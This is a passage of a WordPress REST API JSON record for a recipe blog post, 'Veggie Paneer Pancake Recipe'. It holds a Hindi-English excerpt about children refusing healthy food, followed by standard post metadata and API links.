\u0932\u093f\u090f \u0906\u0938\u093e\u0928, \u0939\u0947\u0932\u094d\u0926\u0940 \u0914\u0930 \u091f\u0947\u0938\u094d\u091f\u0940 \u0928\u093e\u0936\u094d\u0924\u093e \u0906\u091c \u0915\u0947 \u0938\u092e\u092f \u092e\u0947\u0902 \u0939\u0930 parent \u0915\u0940 \u090f\u0915 \u0939\u0940 problem \u0939\u0948 \u2013\u201c\u092c\u091a\u094d\u091a\u0947 healthy \u0916\u093e\u0928\u093e \u0928\u0939\u0940\u0902 \u0916\u093e\u0924\u0947\u0964\u201d \u0938\u092c\u094d\u091c\u093c\u0940 \u0926\u0947\u0916\u0924\u0947 \u0939\u0940 \u092e\u0941\u0901\u0939 \u092c\u0928\u093e\u0928\u093e,\u0926\u093e\u0932 \u0938\u0947 \u092d\u093e\u0917\u0928\u093e,\u0914\u0930 \u0930\u094b\u091c pizza, noodles \u092f\u093e junk food \u0915\u0940 demand \u2013Veggie Paneer Pancake Recipe\u092f\u0947 scene almost \u0939\u0930 \u0918\u0930 \u092e\u0947\u0902 common &#8230; <a title=\"Veggie Paneer Pancake Recipe\" class=\"read-more\" href=\"https:\/\/simplereceipes.in\/en\/7-best-veggie-paneer-pancake-recipe\/\" aria-label=\"Read more about Veggie Paneer Pancake Recipe\">Read more<\/a><\/p>","protected":false},"author":1,"featured_media":411,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-408","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-receipes"],"_links":{"self":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/408","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/comments?post=408"}],"version-history":[{"count":16,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/408\/revisions"}],"predecessor-version":[{"id":968,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/408\/revisions\/968"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media\/411"}],"wp:attachment":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media?parent=408"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/categories?post=408"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/tags?post=408"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}